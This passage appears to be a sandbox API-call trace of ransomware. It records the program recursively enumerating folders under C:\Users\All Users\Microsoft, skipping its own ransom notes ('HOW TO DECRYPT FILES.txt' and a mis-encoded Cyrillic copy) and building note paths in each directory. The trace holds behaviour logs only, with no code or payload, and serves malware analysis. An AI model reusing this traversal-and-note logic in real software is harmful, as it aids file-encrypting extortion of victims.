ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0092.177] lstrcmpA (lpString1=".", lpString2="Views") returned -1 [0092.177] lstrcmpA (lpString1="..", lpString2="Views") returned -1 [0092.177] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*.*") returned="*.*" [0092.177] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\", lpString2="Views" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0092.177] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.178] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.178] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.178] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.178] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.178] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0092.178] lstrcmpA (lpString1=".", lpString2="ApplicationViewsRootNode") returned -1 [0092.178] lstrcmpA (lpString1="..", lpString2="ApplicationViewsRootNode") returned -1 [0092.178] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*.*") returned="*.*" [0092.178] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\", lpString2="ApplicationViewsRootNode" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0092.178] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.179] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.179] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.179] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.179] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.179] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.179] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.179] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0092.179] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.179] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0092.179] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.179] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfffb1100, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfffb1100, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x760045, dwReserved1=0x6e0065, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0092.180] lstrcmpA (lpString1=".", lpString2="IdentityCRL") returned -1 [0092.180] lstrcmpA (lpString1="..", lpString2="IdentityCRL") returned -1 [0092.180] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.180] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0092.180] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfffb1100, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfffb1100, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x770065, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.180] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.180] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfffb1100, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfffb1100, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x770000, cFileName="..", cAlternateFileName="")) returned 1 [0092.180] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.180] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.180] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.180] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.180] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.180] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.181] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x18f7bc, dwReserved1=0x4f0048, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0092.181] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.181] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ppcrlconfig.dll") returned -1 [0092.181] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ppcrlconfig.dll") returned -1 [0092.181] lstrcmpiA (lpString1="", lpString2="ppcrlconfig.dll") returned -1 [0092.181] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*.*") returned="*.*" [0092.181] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0092.181] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="" [0092.181] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO DECRYPT FILES.txt" [0092.181] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\how to decrypt files.txt")) returned 0x20 [0092.181] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", lpString2="ppcrlconfig.dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0092.181] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0092.181] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.181] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ppcrlui.dll") returned -1 [0092.182] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ppcrlui.dll") returned -1 [0092.182] lstrcmpiA (lpString1="", lpString2="ppcrlui.dll") returned -1 [0092.182] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="ppcrlconfig.dll" [0092.182] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0092.182] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="" [0092.182] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO DECRYPT FILES.txt" [0092.182] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\how to decrypt files.txt")) returned 0x20 [0092.182] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", lpString2="ppcrlui.dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0092.182] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0092.182] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.182] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0092.182] lstrcmpA (lpString1=".", lpString2="Media Player") returned -1 [0092.182] lstrcmpA (lpString1="..", lpString2="Media Player") returned -1 [0092.182] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.183] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="Media Player" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player" [0092.183] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.183] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.183] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.183] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.183] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.183] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.183] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.184] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfffb1100, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfffb1100, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004d, dwReserved1=0x690064, cFileName="MF", cAlternateFileName="")) returned 1 [0092.184] lstrcmpA (lpString1=".", lpString2="MF") returned -1 [0092.184] lstrcmpA (lpString1="..", lpString2="MF") returned -1 [0092.184] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.184] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="MF" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0092.184] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfffb1100, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfffb1100, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.184] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.184] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfffb1100, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfffb1100, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.184] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.184] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.184] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0092.184] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.185] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Active.GRL") returned 1 [0092.185] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Active.GRL") returned 1 [0092.185] lstrcmpiA (lpString1="", lpString2="Active.GRL") returned -1 [0092.185] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\MF\\*.*") returned="*.*" [0092.185] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\MF\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0092.185] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\MF\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\MF\\") returned="" [0092.185] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO DECRYPT FILES.txt" [0092.185] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\how to decrypt files.txt")) returned 0x2020 [0092.185] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\", lpString2="Active.GRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" [0092.185] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.185] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.185] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.186] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.186] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x18f7bc, dwReserved1=0x4f0048, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0092.186] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.186] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Pending.GRL") returned -1 [0092.186] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Pending.GRL") returned -1 [0092.186] lstrcmpiA (lpString1="", lpString2="Pending.GRL") returned -1 [0092.186] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned="Active.GRL" [0092.186] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\MF\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0092.186] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\MF\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\MF\\") returned="" [0092.186] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO DECRYPT FILES.txt" [0092.186] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\how to decrypt files.txt")) returned 0x2020 [0092.186] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\", lpString2="Pending.GRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" [0092.187] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, 